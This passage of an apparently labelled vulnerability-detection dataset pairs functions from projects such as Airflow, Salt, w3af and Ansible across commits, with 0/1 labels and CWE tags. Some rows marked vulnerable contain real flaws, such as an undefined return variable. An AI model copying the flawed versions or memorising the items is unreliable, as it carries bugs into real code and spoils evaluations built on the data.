            # Check kept for backwards-compatibility; it isn't clear why
            # duplicates are only allowed in different directories.
            if len(fixture_files_in_dir) > 1:
                raise CommandError(
                    ""Multiple fixtures named '%s' in %s. Aborting."" %
                    (fixture_name, humanize(fixture_dir)))
            fixture_files.extend(fixture_files_in_dir)

        if fixture_name != 'initial_data' and not fixture_files:
            # Warning kept for backwards-compatibility; why not an exception?
            warnings.warn(""No fixture named '%s' found."" % fixture_name)
        elif fixture_name == 'initial_data':
            warnings.warn(
                'initial_data fixtures are deprecated. Use data migrations instead.',
                RemovedInDjango19Warning
            )

        return fixture_files"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/www/fab_security/sqla/manager.py,0,"def update_role(self, role_id, name: str) -> Optional[Role]:
        role = self.get_session.query(self.role_model).get(role_id)
        if not role:
            return None
        try:
            role.name = name
            self.get_session.merge(role)
            self.get_session.commit()
            log.info(c.LOGMSG_INF_SEC_UPD_ROLE.format(role))
        except Exception as e:
            log.error(c.LOGMSG_ERR_SEC_UPD_ROLE.format(str(e)))
            self.get_session.rollback()
            return None
        return role",CWE-Unknown,apache/airflow,97df442077160ae9fba3d770234e702c07e15aa4,"def update_role(self, role_id, name: str) -> Optional[Role]:
        role = self.get_session.query(self.role_model).get(role_id)
        if not role:
            return
        try:
            role.name = name
            self.get_session.merge(role)
            self.get_session.commit()
            log.info(c.LOGMSG_INF_SEC_UPD_ROLE.format(role))
        except Exception as e:
            log.error(c.LOGMSG_ERR_SEC_UPD_ROLE.format(str(e)))
            self.get_session.rollback()
            return"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_requests.py,0,"def test_pyopenssl_redirect(self, httpbin_secure, httpbin_ca_bundle):
        requests.get(httpbin_secure('status', '301'), verify=httpbin_ca_bundle)",,psf/requests,4207867aaf917ed8d223064cc5c163dfe027dc00,"def test_pyopenssl_redirect(self, httpbin_secure, httpbin_ca_bundle):
        requests.get(httpbin_secure('status', '301'), verify=httpbin_ca_bundle)"
,UNKNOWN,UNKNOWN,tests/pytests/functional/modules/test_ipset.py,1,"def test_ipset_add_comment_kwarg(ipset, setup_set):
    """"""
    test ipset.add when comment is set in kwarg
    """"""
    # add set first
    kwargs = {""comment"": ""Hello19""}
    entry = ""192.168.0.3""
    ret = ipset.add(name=setup_set, entry=""192.168.0.3"", **kwargs)
    assert ret == ""Success""
    check_set = ipset.list_sets()
    assert any([x for x in check_set if x[""Name""] == setup_set])",CWE-703,saltstack/salt,86565991725c453551305baf7325c17e5f996c22,"def test_ipset_add_comment_kwarg(ipset, setup_set):
    """"""
    test ipset.add when comment is set in kwarg
    """"""
    # add set first
    kwargs = {""comment"": ""Hello19""}
    entry = ""192.168.0.3""
    ret = ipset.add(name=setup_set, entry=""192.168.0.3"", **kwargs)
    assert ret == ""Success""
    check_set = ipset.list_sets()
    assert any([x for x in check_set if x[""Name""] == setup_set])"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/tests/audit/test_blind_sqli.py,0,"def test_single_quote_random(self):
        target_url = 'http://moth/w3af/audit/blind_sql_injection/bsqli_string_rnd.php'
        qs = '?email=andres@w3af.org'
        self._scan( target_url + qs, self._run_configs['cfg']['plugins'] )
        
        vulns = self.kb.getData('blindSqli', 'blindSqli')
        self.assertEquals(1, len(vulns))
        
        # Now some tests around specific details of the found vuln
        vuln = vulns[0]
        self.assertEquals( vuln.getName(), 'Blind SQL injection vulnerability' )
        self.assertEquals( target_url, str(vuln.getURL()))",,andresriancho/w3af,3c088af1167c07cd4dbfa4db82be8a5887e7ac1e,"def test_single_quote_random(self):
        target_url = 'http://moth/w3af/audit/blind_sql_injection/bsqli_string_rnd.php'
        qs = '?email=andres@w3af.org'
        self._scan( target_url + qs, self._run_configs['cfg']['plugins'] )
        
        vulns = self.kb.getData('blindSqli', 'blindSqli')
        self.assertEquals(1, len(vulns))
        
        # Now some tests around specific details of the found vuln
        vuln = vulns[0]
        self.assertEquals( vuln.getName(), 'Blind SQL injection vulnerability' )
        self.assertFalse( 'time delays' in vuln.getDesc() )
        self.assertEquals( target_url, str(vuln.getURL()))"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/hooks/hive_hooks.py,0,"def run_cli(self, hql, schema=None):
        '''
        Run an hql statement using the hive cli

        >>> hh = HiveCliHook()
        >>> result = hh.run_cli(""USE airflow;"")
        >>> (""OK"" in result)
        True
        '''
        if schema:
            hql = ""USE {schema};\n{hql}"".format(**locals())

        with TemporaryDirectory(prefix='airflow_hiveop_') as tmp_dir:
            with NamedTemporaryFile(dir=tmp_dir) as f:
                f.write(hql)
                f.flush()
                fname = f.name
                hive_cmd = ['hive', '-f', fname]
                if self.hive_cli_params:
                    hive_params_list = self.hive_cli_params.split()
                    hive_cmd.extend(hive_params_list)
                sp = subprocess.Popen(
                    hive_cmd,
                    stdout=subprocess.PIPE,
                    stderr=subprocess.STDOUT,
                    cwd=tmp_dir)
                all_err = ''
                self.sp = sp
                stdout = """"
                for line in iter(sp.stdout.readline, ''):
                    stdout += line
                    logging.info(line.strip())
                sp.wait()

                if sp.returncode:
                    raise AirflowException(all_err)

                return stdout",CWE-Unknown,apache/airflow,4a094934a620d0cc4cb2ba861a8a6629265f43f7,"def run_cli(self, hql, schema=None):
        '''
        Run an hql statement using the hive cli

        >>> hh = HiveCliHook()
        >>> hh.run_cli(""USE airflow;"")
        '''
        if schema:
            hql = ""USE {schema};\n{hql}"".format(**locals())

        with TemporaryDirectory(prefix='airflow_hiveop_') as tmp_dir:
            with NamedTemporaryFile(dir=tmp_dir) as f:
                f.write(hql)
                f.flush()
                fname = f.name
                hive_cmd = ['hive', '-f', fname]
                if self.hive_cli_params:
                    hive_params_list = self.hive_cli_params.split()
                    hive_cmd.extend(hive_params_list)
                sp = subprocess.Popen(
                    hive_cmd,
                    stdout=subprocess.PIPE,
                    stderr=subprocess.STDOUT,
                    cwd=tmp_dir)
                all_err = ''
                self.sp = sp
                stdout = """"
                for line in iter(sp.stdout.readline, ''):
                    stdout += line
                    logging.info(line.strip())
                sp.wait()

                if sp.returncode:
                    raise AirflowException(all_err)

                return stdout"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/audit/responseSplitting.py,0,"def _analyzeResult( self, mutant, response ):
        '''
        Analyze results of the _sendMutant method.
        '''
        #
        #   Only one thread at the time can enter here. This is because I want to report each
        #   vulnerability only once, and by only adding the ""if self._hasNoBug"" statement, that
        #   could not be done.
        #
        with self._plugin_lock:
            
            #
            #   I will only report the vulnerability once.
            #
            if self._hasNoBug( 'responseSplitting' , 'responseSplitting' ,\
                                        mutant.getURL() , mutant.getVar() ):
                                            
                # When trying to send a response splitting to php 5.1.2 I get :
                # Header may not contain more than a single header, new line detected
                for error in self._get_errors():
                    
                    if error in response:
                        msg = 'The variable ""' + mutant.getVar() + '"" of the URL ' + mutant.getURL()
                        msg += ' modifies the headers of the response, but this error was sent while'
                        msg += ' testing for response splitting: ""' + error + '""'
                        
                        i = info.info()
                        i.setPluginName(self.getName())
                        i.setDesc( msg )
                        i.setId( response.id )
                        i.setName( 'Parameter modifies headers' )
                        kb.kb.append( self, 'responseSplitting', i )

                        return
                    
                if self._header_was_injected( response ):
                    v = vuln.vuln( mutant )
                    v.setPluginName(self.getName())
                    v.setDesc( 'Response Splitting was found at: ' + mutant.foundAt() )
                    v.setId( response.id )
                    v.setSeverity(severity.MEDIUM)
                    v.setName( 'Response splitting vulnerability' )
                    kb.kb.append( self, 'responseSplitting', v )",,andresriancho/w3af,c1122622227cac1899919aa1e5594d831f6e173f,"def _analyzeResult( self, mutant, response ):
        '''
        Analyze results of the _sendMutant method.
        '''
        #
        #   Only one thread at the time can enter here. This is because I want to report each
        #   vulnerability only once, and by only adding the ""if self._hasNoBug"" statement, that
        #   could not be done.
        #
        with self._plugin_lock:
            
            #
            #   I will only report the vulnerability once.
            #
            if self._hasNoBug( 'responseSplitting' , 'responseSplitting' ,\
                                        mutant.getURL() , mutant.getVar() ):
                                            
                # When trying to send a response splitting to php 5.1.2 I get :
                # Header may not contain more than a single header, new line detected
                for error in self._get_errors():
                    
                    if error in response:
                        msg = 'The variable ""' + mutant.getVar() + '"" of the URL ' + mutant.getURL()
                        msg += ' modifies the headers of the response, but this error was sent while'
                        msg += ' testing for response splitting: ""' + error + '""'
                        
                        i = info.info()
                        i.setDesc( msg )
                        i.setId( response.id )
                        i.setName( 'Parameter modifies headers' )
                        kb.kb.append( self, 'responseSplitting', i )

                        return
                    
                if self._header_was_injected( response ):
                    v = vuln.vuln( mutant )
                    v.setDesc( 'Response Splitting was found at: ' + mutant.foundAt() )
                    v.setId( response.id )
                    v.setSeverity(severity.MEDIUM)
                    v.setName( 'Response splitting vulnerability' )
                    kb.kb.append( self, 'responseSplitting', v )"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/formatters/test_html.py,0,"def test_escaping(self, get_issue_list, get_code):
        self.manager.metrics.data[""_totals""] = {""loc"": 1000, ""nosec"": 50}
        marker = ""<tag in code>""

        issue_a = _get_issue_instance()
        issue_x = _get_issue_instance()
        get_code.return_value = marker

        get_issue_list.return_value = {issue_a: [issue_x]}

        with open(self.tmp_fname, ""w"") as tmp_file:
            b_html.report(self.manager, tmp_file, bandit.LOW, bandit.LOW)

        with open(self.tmp_fname) as f:
            contents = f.read()
        self.assertNotIn(marker, contents)",UNKNOWN,PyCQA/bandit,7d6ab4a3e503843df3da389ce32ab30832d71474,"def test_escaping(self, get_issue_list, get_code):
        self.manager.metrics.data[""_totals""] = {""loc"": 1000, ""nosec"": 50}
        marker = ""<tag in code>""

        issue_a = _get_issue_instance()
        issue_x = _get_issue_instance()
        get_code.return_value = marker

        get_issue_list.return_value = {issue_a: [issue_x]}

        with open(self.tmp_fname, ""w"") as tmp_file:
            b_html.report(self.manager, tmp_file, bandit.LOW, bandit.LOW)

        with open(self.tmp_fname) as f:
            contents = f.read()
        self.assertNotIn(marker, contents)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/operators/python_operator.py,0,"def execute(self, context):
        branch = super(BranchPythonOperator, self).execute(context)
        logging.info(""Following branch "" + branch)
        logging.info(""Marking other directly downstream tasks as skipped"")
        session = settings.Session()

        TI = TaskInstance
        tis = session.query(TI).filter(
            TI.execution_date == context['ti'].execution_date,
            TI.task_id.in_(context['task'].downstream_task_ids),
            TI.task_id != branch,
        ).with_for_update().all()

        for ti in tis:
            logging.info('Skipping task: %s', ti.task_id)
            ti.state = State.SKIPPED
            ti.start_date = datetime.now()
            ti.end_date = datetime.now()

        # this is defensive against dag runs that are not complete
        for task in context['task'].downstream_list:
            if task.task_id in tis:
                continue

            if task.task_id == branch:
                continue

            logging.warning(""Task {} was not part of a dag run. This should not happen.""
                            .format(task))
            ti = TaskInstance(task, execution_date=context['ti'].execution_date)
            ti.state = State.SKIPPED
            ti.start_date = datetime.now()
            ti.end_date = datetime.now()
            session.merge(ti)

        session.commit()
        session.close()
        logging.info(""Done."")",CWE-Unknown,apache/airflow,eb705fd55c30cea778282140d927f51b4a649c73,"def execute(self, context):
        branch = super(BranchPythonOperator, self).execute(context)
        logging.info(""Following branch "" + branch)
        logging.info(""Marking other directly downstream tasks as skipped"")
        session = settings.Session()
        for task in context['task'].downstream_list:
            if task.task_id != branch:
                ti = TaskInstance(
                    task, execution_date=context['ti'].execution_date)
                ti.state = State.SKIPPED
                ti.start_date = datetime.now()
                ti.end_date = datetime.now()
                session.merge(ti)
        session.commit()
        session.close()
        logging.info(""Done."")"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/zypper.py,0,"def list_provides(**kwargs):
    '''
    .. versionadded:: 2018.3.0

    List package provides of installed packages as a dict.
    {'<provided_name>': ['<package_name>', '<package_name>', ...]}

    CLI Examples:

    .. code-block:: bash

        salt '*' pkg.list_provides
    '''
    ret = __context__.get('pkg.list_provides')
    if not ret:
        cmd = ['rpm', '-qa', '--queryformat', '%{PROVIDES}_|-%{NAME}\n']
        ret = dict()
        for line in __salt__['cmd.run'](cmd, output_loglevel='trace', python_shell=False).splitlines():
            provide, realname = line.split('_|-')

            if provide == realname:
                continue
            if provide not in ret:
                ret[provide] = list()
            ret[provide].append(realname)

        __context__['pkg.list_provides'] = ret

    return ret",,saltstack/salt,6a3e127dce5111fd1485f10c62e2366cd75157fa,"def list_provides(**kwargs):
    '''
    .. versionadded:: 2018.3.0

    List package provides of installed packages as a dict.
    {'<provided_name>': ['<package_name>', '<package_name>', ...]}

    CLI Examples:

    .. code-block:: bash

        salt '*' pkg.list_provides
    '''
    ret = __context__.get('pkg.list_provides')
    if not ret:
        cmd = ['rpm', '-qa', '--queryformat', '[%{PROVIDES}_|-%{NAME}\n]']
        ret = dict()
        for line in __salt__['cmd.run'](cmd, output_loglevel='trace', python_shell=False).splitlines():
            provide, realname = line.split('_|-')

            if provide == realname:
                continue
            if provide not in ret:
                ret[provide] = list()
            ret[provide].append(realname)

        __context__['pkg.list_provides'] = ret

    return ret"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/core/utils.py,0,"def _get_attr_qual_name(node, aliases):
    '''Get a the full name for the attribute node.

    This will resolve a pseudo-qualified name for the attribute
    rooted at node as long as all the deeper nodes are Names or
    Attributes. This will give you how the code referenced the name but
    will not tell you what the name actually refers to. If we
    encounter a node without a static name we punt with an
    empty string. If this encounters something more complex, such as
    foo.mylist[0](a,b) we just return empty string.

    :param node: AST Name or Attribute node
    :param aliases: Import aliases dictionary
    :returns: Qualified name referred to by the attribute or name.
    '''
    if type(node) == _ast.Name:
        if node.id in aliases:
            return aliases[node.id]
        return node.id
    elif type(node) == _ast.Attribute:
        name = '%s.%s' % (_get_attr_qual_name(node.value, aliases), node.attr)
        if name in aliases:
            return aliases[name]
        return name
    else:
        return """"",UNKNOWN,PyCQA/bandit,3d86b83c620855efb9746f3038e60f8fbc14942b,"def _get_attr_qual_name(node, aliases):
    '''Get a the full name for the attribute node.

    This will resolve a pseudo-qualified name for the attribute
    rooted at node as long as all the deeper nodes are Names or
    Attributes. This will give you how the code referenced the name but
    will not tell you what the name actually refers to. If we
    encounter a node without a static name we punt with an
    empty string. If this encounters something more complex, such as
    foo.mylist[0](a,b) we just return empty string.

    :param node: AST Name or Attribute node
    :param aliases: Import aliases dictionary
    :returns: Qualified name refered to by the attribute or name.
    '''
    if type(node) == _ast.Name:
        if node.id in aliases:
            return aliases[node.id]
        return node.id
    elif type(node) == _ast.Attribute:
        name = '%s.%s' % (_get_attr_qual_name(node.value, aliases), node.attr)
        if name in aliases:
            return aliases[name]
        return name
    else:
        return """""
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/vars/__init__.py,0,"def get_vars(self, loader, play=None, host=None, task=None, include_hostvars=True, use_cache=True):
        '''
        Returns the variables, with optional ""context"" given via the parameters
        for the play, host, and task (which could possibly result in different
        sets of variables being returned due to the additional context).

        The order of precedence is:
        - play->roles->get_default_vars (if there is a play context)
        - group_vars_files[host] (if there is a host context)
        - host_vars_files[host] (if there is a host context)
        - host->get_vars (if there is a host context)
        - fact_cache[host] (if there is a host context)
        - play vars (if there is a play context)
        - play vars_files (if there's no host context, ignore
          file names that cannot be templated)
        - task->get_vars (if there is a task context)
        - vars_cache[host] (if there is a host context)
        - extra vars
        '''

        debug(""in VariableManager get_vars()"")
        cache_entry = self._get_cache_entry(play=play, host=host, task=task)
        if cache_entry in CACHED_VARS and use_cache:
            debug(""vars are cached, returning them now"")
            return CACHED_VARS[cache_entry]

        all_vars = defaultdict(dict)

        if play:
            # first we compile any vars specified in defaults/main.yml
            # for all roles within the specified play
            for role in play.get_roles():
                all_vars = combine_vars(all_vars, role.get_default_vars())

            # if we have a task in this context, and that task has a role, make
            # sure it sees its defaults above any other roles, as we previously
            # (v1) made sure each task had a copy of its roles default vars
            if task and task._role is not None:
                all_vars = combine_vars(all_vars, task._role.get_default_vars())

        if host:
            # next, if a host is specified, we load any vars from group_vars
            # files and then any vars from host_vars files which may apply to
            # this host or the groups it belongs to

            # we merge in vars from groups specified in the inventory (INI or script)
            all_vars = combine_vars(all_vars, host.get_group_vars())

            # then we merge in the special 'all' group_vars first, if they exist
            if 'all' in self._group_vars_files:
                data = self._preprocess_vars(self._group_vars_files['all'])
                for item in data:
                    all_vars = combine_vars(all_vars, item)

            for group in host.get_groups():
                if group.name in self._group_vars_files and group.name != 'all':
                    for data in self._group_vars_files[group.name]:
                        data = self._preprocess_vars(data)
                        for item in data:
                            all_vars = combine_vars(all_vars, item)

            # then we merge in vars from the host specified in the inventory (INI or script)
            all_vars = combine_vars(all_vars, host.get_vars())

            # then we merge in the host_vars/<hostname> file, if it exists
            host_name = host.get_name()
            if host_name in self._host_vars_files:
                for data in self._host_vars_files[host_name]:
                    data = self._preprocess_vars(data)
                    for item in data:
                        all_vars = combine_vars(all_vars, item)

            # finally, the facts cache for this host, if it exists
            try:
                host_facts = self._fact_cache.get(host.name, dict())
                for k in host_facts.keys():
                    if host_facts[k] is not None and not isinstance(host_facts[k], UnsafeProxy):
                        host_facts[k] = UnsafeProxy(host_facts[k])
                all_vars = combine_vars(all_vars, host_facts)
            except KeyError:
                pass

        if play:
            all_vars = combine_vars(all_vars, play.get_vars())

            for vars_file_item in play.get_vars_files():
                try:
                    # create a set of temporary vars here, which incorporate the
                    # extra vars so we can properly template the vars_files entries
                    temp_vars = combine_vars(all_vars, self._extra_vars)
                    templar = Templar(loader=loader, variables=temp_vars)

                    # we assume each item in the list is itself a list, as we
                    # support ""conditional includes"" for vars_files, which mimics
                    # the with_first_found mechanism.
                    vars_file_list = templar.template(vars_file_item)
                    if not isinstance(vars_file_list, list):
                         vars_file_list = [ vars_file_list ]

                    # now we iterate through the (potential) files, and break out
                    # as soon as we read one from the list. If none are found, we
                    # raise an error, which is silently ignored at this point.
                    for vars_file in vars_file_list:
                        data = self._preprocess_vars(loader.load_from_file(vars_file))
                        if data is not None:
                            for item in data:
                                all_vars = combine_vars(all_vars, item)
                            break
                    else:
                        raise AnsibleError(""vars file %s was not found"" % vars_file_item)
                except UndefinedError:
                    continue

            if not C.DEFAULT_PRIVATE_ROLE_VARS:
                for role in play.get_roles():
                    all_vars = combine_vars(all_vars, role.get_vars())

        if task:
            if task._role:
                all_vars = combine_vars(all_vars, task._role.get_vars())
            all_vars = combine_vars(all_vars, task.get_vars())

        if host:
            all_vars = combine_vars(all_vars, self._vars_cache.get(host.get_name(), dict()))

        all_vars = combine_vars(all_vars, self._extra_vars)

        # FIXME: make sure all special vars are here
        # Finally, we create special vars

        all_vars['playbook_dir'] = loader.get_basedir()

        if host:
            all_vars['groups'] = [group.name for group in host.get_groups()]

            if self._inventory is not None:
                all_vars['groups']   = self._inventory.groups_list()
                if include_hostvars:
                    hostvars = HostVars(vars_manager=self, play=play, inventory=self._inventory, loader=loader)
                    all_vars['hostvars'] = hostvars

        if task:
            if task._role:
                all_vars['role_path'] = task._role._role_path

        if self._inventory is not None:
            all_vars['inventory_dir'] = self._inventory.basedir()
            if play:
                # add the list of hosts in the play, as adjusted for limit/filters
                # DEPRECATED: play_hosts should be deprecated in favor of ansible_play_hosts,
                #             however this would take work in the templating engine, so for now
                #             we'll add both so we can give users something transitional to use
                host_list = [x.name for x in self._inventory.get_hosts()]
                all_vars['play_hosts'] = host_list
                all_vars['ansible_play_hosts'] = host_list


        # the 'omit' value alows params to be left out if the variable they are based on is undefined
        all_vars['omit'] = self._omit_token

        all_vars['ansible_version'] = CLI.version_info(gitinfo=False)

        if 'hostvars' in all_vars and host:
            all_vars['vars'] = all_vars['hostvars'][host.get_name()]

        #CACHED_VARS[cache_entry] = all_vars

        debug(""done with get_vars()"")
        return all_vars",,ansible/ansible,bd405169fbf039cd1c3a209ec0114184e7e4fe1f,"def get_vars(self, loader, play=None, host=None, task=None, include_hostvars=True, use_cache=True):
        '''
        Returns the variables, with optional ""context"" given via the parameters
        for the play, host, and task (which could possibly result in different
        sets of variables being returned due to the additional context).

        The order of precedence is:
        - play->roles->get_default_vars (if there is a play context)
        - group_vars_files[host] (if there is a host context)
        - host_vars_files[host] (if there is a host context)
        - host->get_vars (if there is a host context)
        - fact_cache[host] (if there is a host context)
        - play vars (if there is a play context)
        - play vars_files (if there's no host context, ignore
          file names that cannot be templated)
        - task->get_vars (if there is a task context)
        - vars_cache[host] (if there is a host context)
        - extra vars
        '''

        debug(""in VariableManager get_vars()"")
        cache_entry = self._get_cache_entry(play=play, host=host, task=task)
        if cache_entry in CACHED_VARS and use_cache:
            debug(""vars are cached, returning them now"")
            return CACHED_VARS[cache_entry]

        all_vars = defaultdict(dict)

        if play:
            # first we compile any vars specified in defaults/main.yml
            # for all roles within the specified play
            for role in play.get_roles():
                all_vars = combine_vars(all_vars, role.get_default_vars())

            # if we have a task in this context, and that task has a role, make
            # sure it sees its defaults above any other roles, as we previously
            # (v1) made sure each task had a copy of its roles default vars
            if task and task._role is not None:
                all_vars = combine_vars(all_vars, task._role.get_default_vars())

        if host:
            # next, if a host is specified, we load any vars from group_vars
            # files and then any vars from host_vars files which may apply to
            # this host or the groups it belongs to

            # we merge in vars from groups specified in the inventory (INI or script)
            all_vars = combine_vars(all_vars, host.get_group_vars())

            # then we merge in the special 'all' group_vars first, if they exist
            if 'all' in self._group_vars_files:
                data = self._preprocess_vars(self._group_vars_files['all'])
                for item in data:
                    all_vars = combine_vars(all_vars, item)

            for group in host.get_groups():
                if group.name in self._group_vars_files and group.name != 'all':
                    for data in self._group_vars_files[group.name]:
                        data = self._preprocess_vars(data)
                        for item in data:
                            all_vars = combine_vars(all_vars, item)

            # then we merge in vars from the host specified in the inventory (INI or script)
            all_vars = combine_vars(all_vars, host.get_vars())

            # then we merge in the host_vars/<hostname> file, if it exists
            host_name = host.get_name()
            if host_name in self._host_vars_files:
                for data in self._host_vars_files[host_name]:
                    data = self._preprocess_vars(data)
                    for item in data:
                        all_vars = combine_vars(all_vars, item)

            # finally, the facts cache for this host, if it exists
            try:
                host_facts = self._fact_cache.get(host.name, dict())
                for k in host_facts.keys():
                    if not isinstance(host_facts[k], UnsafeProxy):
                        host_facts[k] = UnsafeProxy(host_facts[k])
                all_vars = combine_vars(all_vars, host_facts)
            except KeyError:
                pass

        if play:
            all_vars = combine_vars(all_vars, play.get_vars())

            for vars_file_item in play.get_vars_files():
                try:
                    # create a set of temporary vars here, which incorporate the
                    # extra vars so we can properly template the vars_files entries
                    temp_vars = combine_vars(all_vars, self._extra_vars)
                    templar = Templar(loader=loader, variables=temp_vars)

                    # we assume each item in the list is itself a list, as we
                    # support ""conditional includes"" for vars_files, which mimics
                    # the with_first_found mechanism.
                    vars_file_list = templar.template(vars_file_item)
                    if not isinstance(vars_file_list, list):
                         vars_file_list = [ vars_file_list ]

                    # now we iterate through the (potential) files, and break out
                    # as soon as we read one from the list. If none are found, we
                    # raise an error, which is silently ignored at this point.
                    for vars_file in vars_file_list:
                        data = self._preprocess_vars(loader.load_from_file(vars_file))
                        if data is not None:
                            for item in data:
                                all_vars = combine_vars(all_vars, item)
                            break
                    else:
                        raise AnsibleError(""vars file %s was not found"" % vars_file_item)
                except UndefinedError:
                    continue

            if not C.DEFAULT_PRIVATE_ROLE_VARS:
                for role in play.get_roles():
                    all_vars = combine_vars(all_vars, role.get_vars())

        if task:
            if task._role:
                all_vars = combine_vars(all_vars, task._role.get_vars())
            all_vars = combine_vars(all_vars, task.get_vars())

        if host:
            all_vars = combine_vars(all_vars, self._vars_cache.get(host.get_name(), dict()))

        all_vars = combine_vars(all_vars, self._extra_vars)

        # FIXME: make sure all special vars are here
        # Finally, we create special vars

        all_vars['playbook_dir'] = loader.get_basedir()

        if host:
            all_vars['groups'] = [group.name for group in host.get_groups()]

            if self._inventory is not None:
                all_vars['groups']   = self._inventory.groups_list()
                if include_hostvars:
                    hostvars = HostVars(vars_manager=self, play=play, inventory=self._inventory, loader=loader)
                    all_vars['hostvars'] = hostvars

        if task:
            if task._role:
                all_vars['role_path'] = task._role._role_path

        if self._inventory is not None:
            all_vars['inventory_dir'] = self._inventory.basedir()
            if play:
                # add the list of hosts in the play, as adjusted for limit/filters
                # DEPRECATED: play_hosts should be deprecated in favor of ansible_play_hosts,
                #             however this would take work in the templating engine, so for now
                #             we'll add both so we can give users something transitional to use
                host_list = [x.name for x in self._inventory.get_hosts()]
                all_vars['play_hosts'] = host_list
                all_vars['ansible_play_hosts'] = host_list


        # the 'omit' value alows params to be left out if the variable they are based on is undefined
        all_vars['omit'] = self._omit_token

        all_vars['ansible_version'] = CLI.version_info(gitinfo=False)

        if 'hostvars' in all_vars and host:
            all_vars['vars'] = all_vars['hostvars'][host.get_name()]

        #CACHED_VARS[cache_entry] = all_vars

        debug(""done with get_vars()"")
        return all_vars"
,UNKNOWN,UNKNOWN,salt/modules/network.py,1,"def ip_addrs(interface=None, include_loopback=False, cidr=None):
    '''
    Returns a list of IPv4 addresses assigned to the host. 127.0.0.1 is
    ignored, unless 'include_loopback=True' is indicated. If 'interface' is
    provided, then only IP addresses from that interface will be returned.
    Providing a CIDR via 'cidr=""10.0.0.0/8""' will return only the addresses
    which are within that subnet.

    CLI Example:

    .. code-block:: bash

        salt '*' network.ip_addrs
    '''
    addrs = salt.utils.network.ip_addrs(interface=interface,
                                        include_loopback=include_loopback)
    if cidr:
        return [i for i in addrs if salt.utils.network.in_subnet(cidr, [i])]
    else:
        return ips",CWE-605,saltstack/salt,bbb61a75e232b6fb0c587528858bdf061e0de868,"def ip_addrs(interface=None, include_loopback=False, cidr=None):
    '''
    Returns a list of IPv4 addresses assigned to the host. 127.0.0.1 is
    ignored, unless 'include_loopback=True' is indicated. If 'interface' is
    provided, then only IP addresses from that interface will be returned.
    Providing a CIDR via 'cidr=10.0.0.0/8' will return only the addresses
    which are within that subnet.

    CLI Example:

    .. code-block:: bash

        salt '*' network.ip_addrs
    '''
    addrs = salt.utils.network.ip_addrs(interface=interface,
                                        include_loopback=include_loopback)
    if cidr:
        return [i for i in addrs if salt.utils.network.in_subnet(cidr, [i])]
    else:
        return ips"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/services/notebooks/handlers.py,0,"def patch(self, notebook_path):
        nbm = self.notebook_manager
        notebook_name, notebook_path = nbm.named_notebook_path(notebook_path)
        data = jsonapi.loads(self.request.body)
        model = nbm.change_notebook(data, notebook_name, notebook_path)
        self.finish(jsonapi.dumps(model))",,jupyter/notebook,bfff3d817d75f3933cc9c4f29a54f22666a1b840,"def patch(self, notebook_path):
        nbm = self.notebook_manager
        notebook_name, notebook_path = nbm.named_notebook_path(notebook_path)
        data = jsonapi.loads(self.request.body)
        model = nbm.change_notebook(data, notebook_name, notebook_path)
        self.log.info(model)
        self.finish(jsonapi.dumps(model))"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/executors/test_kubernetes_executor.py,0,"def test_pending_pod_timeout_multi_namespace_mode(
        self, mock_kubescheduler, mock_get_kube_client, mock_kubernetes_job_watcher
    ):
        mock_delete_pod = mock_kubescheduler.return_value.delete_pod
        mock_kube_client = mock_get_kube_client.return_value
        now = timezone.utcnow()
        pending_pods = [
            k8s.V1Pod(
                metadata=k8s.V1ObjectMeta(
                    name=""foo90"",
                    labels={""airflow-worker"": ""123""},
                    creation_timestamp=now - timedelta(seconds=500),
                    namespace=""anothernamespace"",
                )
            ),
        ]
        mock_kube_client.list_pod_for_all_namespaces.return_value.items = pending_pods

        config = {
            ('kubernetes', 'namespace'): 'mynamespace',
            ('kubernetes', 'multi_namespace_mode'): 'true',
            ('kubernetes', 'kube_client_request_args'): '{""sentinel"": ""foo""}',
        }
        with conf_vars(config):
            executor = KubernetesExecutor()
            executor.job_id = ""123""
            executor.start()
            executor._check_worker_pods_pending_timeout()

        mock_kube_client.list_pod_for_all_namespaces.assert_called_once_with(
            field_selector='status.phase=Pending',
            label_selector='airflow-worker=123',
            limit=100,
            sentinel='foo',
        )
        mock_delete_pod.assert_called_once_with('foo90', 'anothernamespace')",CWE-Unknown,apache/airflow,317fac479c314eb148e1fefd049d245b83fcca74,"def test_pending_pod_timeout_multi_namespace_mode(
        self, mock_kubescheduler, mock_get_kube_client, mock_kubernetes_job_watcher
    ):
        mock_delete_pod = mock_kubescheduler.return_value.delete_pod
        mock_kube_client = mock_get_kube_client.return_value
        now = timezone.utcnow()
        pending_pods = [
            k8s.V1Pod(
                metadata=k8s.V1ObjectMeta(
                    name=""foo90"",
                    labels={""airflow-worker"": ""123""},
                    creation_timestamp=now - timedelta(seconds=500),
                    namespace=""anothernamespace"",
                )
            ),
        ]
        mock_kube_client.list_pod_for_all_namespaces.return_value.items = pending_pods

        config = {
            ('kubernetes', 'namespace'): 'mynamespace',
            ('kubernetes', 'multi_namespace_mode'): 'true',
            ('kubernetes', 'kube_client_request_args'): '{""sentinel"": ""foo""}',
        }
        with conf_vars(config):
            executor = KubernetesExecutor()
            executor.job_id = ""123""
            executor.start()
            executor._check_worker_pods_pending_timeout()

        mock_kube_client.list_pod_for_all_namespaces.assert_called_once_with(
            field_selector='status.phase=Pending',
            label_selector='airflow-worker=123',
            limit=100,
            sentinel='foo',
        )
        mock_delete_pod.assert_called_once_with('foo90', 'anothernamespace')"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/models/signature.py,0,"def _infer_signature_from_type_hints(func, input_arg_index, input_example=None):
    hints = _extract_type_hints(func, input_arg_index)
    if hints.input is None:
        return None

    params = None
    params_key = ""params""
    if _contains_params(input_example):
        input_example, params = input_example

    input_schema = _infer_schema_from_type_hint(hints.input, input_example) if hints.input else None
